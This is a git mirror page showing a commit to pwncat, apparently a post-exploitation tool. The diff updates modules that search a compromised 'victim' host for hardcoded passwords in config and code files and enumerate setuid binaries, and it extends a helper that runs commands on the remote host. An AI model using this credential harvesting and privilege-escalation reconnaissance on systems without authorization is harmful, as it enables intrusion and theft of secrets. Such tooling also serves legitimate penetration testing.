mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Updated password enumeration
This commit is contained in:
parent
528088be77
commit
bbf49e4c72
@ -50,6 +50,8 @@ def enumerate() -> Generator[FactData, None, None]:
|
||||
|
||||
# The locations we will search in for passwords
|
||||
locations = ["/var/www", "$HOME", "/opt", "/etc"]
|
||||
# Known locations which match this search but don't contain useful entries
|
||||
blacklist = ["openssl.cnf", "libuser.conf"]
|
||||
# The types of files which are "code". This means that we only recognize the
|
||||
# actual password if it is a literal value (enclosed in single or double quotes)
|
||||
code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini", ".json"]
|
||||
@ -71,46 +73,51 @@ def enumerate() -> Generator[FactData, None, None]:
|
||||
|
||||
password = None
|
||||
|
||||
# Check for simple assignment
|
||||
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
# Ensure this file isn't in our blacklist
|
||||
# We will still report it but it won't produce actionable passwords
|
||||
# for privesc because the blacklist files have a high likelihood of
|
||||
# false positives.
|
||||
if os.path.basename(path) not in blacklist:
|
||||
# Check for simple assignment
|
||||
match = re.search(r"password\s*=(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary in python with double quotes
|
||||
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
# Check for dictionary in python with double quotes
|
||||
match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Check for dictionary is perl
|
||||
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
# Check for dictionary is perl
|
||||
match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE)
|
||||
if match is not None:
|
||||
password = match.group(1).strip()
|
||||
|
||||
# Don't mark empty passwords
|
||||
if password is not None and password == "":
|
||||
password = None
|
||||
|
||||
if password is not None:
|
||||
_, extension = os.path.splitext(path)
|
||||
|
||||
# Ensure that this is a constant string. For code file types,
|
||||
# this is normally indicated by the string being surrounded by
|
||||
# either double or single quotes.
|
||||
if extension in code_types:
|
||||
if password[-1] == ";":
|
||||
password = password[:-1]
|
||||
if password[0] == '"' and password[-1] == '"':
|
||||
password = password.strip('"')
|
||||
elif password[0] == "'" and password[-1] == "'":
|
||||
password = password.strip("'")
|
||||
else:
|
||||
# This wasn't assigned to a constant, it's not helpful to us
|
||||
password = None
|
||||
|
||||
# Empty quotes? :(
|
||||
if password == "":
|
||||
# Don't mark empty passwords
|
||||
if password is not None and password == "":
|
||||
password = None
|
||||
|
||||
if password is not None:
|
||||
_, extension = os.path.splitext(path)
|
||||
|
||||
# Ensure that this is a constant string. For code file types,
|
||||
# this is normally indicated by the string being surrounded by
|
||||
# either double or single quotes.
|
||||
if extension in code_types:
|
||||
if password[-1] == ";":
|
||||
password = password[:-1]
|
||||
if password[0] == '"' and password[-1] == '"':
|
||||
password = password.strip('"')
|
||||
elif password[0] == "'" and password[-1] == "'":
|
||||
password = password.strip("'")
|
||||
else:
|
||||
# This wasn't assigned to a constant, it's not helpful to us
|
||||
password = None
|
||||
|
||||
# Empty quotes? :(
|
||||
if password == "":
|
||||
password = None
|
||||
|
||||
# This was a match for the search. We may have extracted a
|
||||
# password. Either way, log it.
|
||||
yield Password(path, password, lineno, ":".join(line), [])
|
||||
|
@ -45,7 +45,10 @@ def enumerate() -> Generator[Binary, None, None]:
|
||||
|
||||
# Spawn a find command to locate the setuid binaries
|
||||
with pwncat.victim.subprocess(
|
||||
"find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True
|
||||
["find", "/", "-perm", "-4000", "-printf", "%U %p\\n"],
|
||||
stderr="/dev/null",
|
||||
mode="r",
|
||||
no_job=True,
|
||||
) as stream:
|
||||
for path in stream:
|
||||
# Parse out owner ID and path
|
||||
|
@ -1030,6 +1030,9 @@ class Victim:
|
||||
exit_cmd: str = None,
|
||||
no_job=False,
|
||||
name: str = None,
|
||||
env: Dict[str, str] = None,
|
||||
stdout: str = None,
|
||||
stderr: str = None,
|
||||
) -> Union[io.BufferedRWPair, io.BufferedReader]:
|
||||
"""
|
||||
Start a process on the remote host and return a file-like object
|
||||
@ -1053,11 +1056,41 @@ class Victim:
|
||||
delimeter.
|
||||
:param no_job: whether to run as a sub-job in the shell (only used for "r" mode)
|
||||
:param name: the name assigned to the output file object
|
||||
:param env: environment variables to set for this command
|
||||
:param stdout: a string specifying the location to redirect standard out (or None)
|
||||
:param stderr: a string specifying where to redirect stderr (or None)
|
||||
:return: Union[BufferedRWPair, BufferedReader]
|
||||
"""
|
||||
|
||||
# Join the command if it was supplied as a list
|
||||
if isinstance(cmd, list):
|
||||
cmd = shlex.join(cmd)
|
||||
if self.which(cmd[0]) is not None:
|
||||
# We don't want to prevent things like aliases from working
|
||||
# but if the given command exists in our database, replace
|
||||
# it with the path retrieved from which.
|
||||
cmd[0] = self.which(cmd[0])
|
||||
cmd = util.join(cmd)
|
||||
|
||||
# Add environment to the beginning of the command if requested
|
||||
if env is not None:
|
||||
cmd = (
|
||||
" ".join(
|
||||
[
|
||||
f"{util.quote(name)}={util.quote(value)}"
|
||||
for name, value in env.items()
|
||||
]
|
||||
)
|
||||
+ cmd
|
||||
)
|
||||
|
||||
# Redirect stdout, this is useful when the command
|
||||
# is passed as a list vice a command string
|
||||
if stdout is not None:
|
||||
cmd += f" >{stdout}"
|
||||
|
||||
# Redirect stderr for the same reason as above
|
||||
if stderr is not None:
|
||||
cmd += f" 2>{stderr}"
|
||||
|
||||
for c in mode:
|
||||
if c not in "rwb":
|
||||
@ -1241,7 +1274,9 @@ class Victim:
|
||||
if util.Access.EXECUTE not in access:
|
||||
raise PermissionError
|
||||
|
||||
with self.subprocess("ls --color=never --all -1", "r") as pipe:
|
||||
with self.subprocess(
|
||||
["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r"
|
||||
) as pipe:
|
||||
for line in pipe:
|
||||
line = line.strip().decode("utf-8")
|
||||
yield line
|
||||
@ -1368,8 +1403,6 @@ class Victim:
|
||||
if method.stream is Stream.RAW:
|
||||
sub_mode += "b"
|
||||
|
||||
print("payload", payload)
|
||||
|
||||
# Run the payload on the remote host.
|
||||
pipe = self.subprocess(
|
||||
payload,
|
||||
|
Loading…
Reference in New Issue
Block a user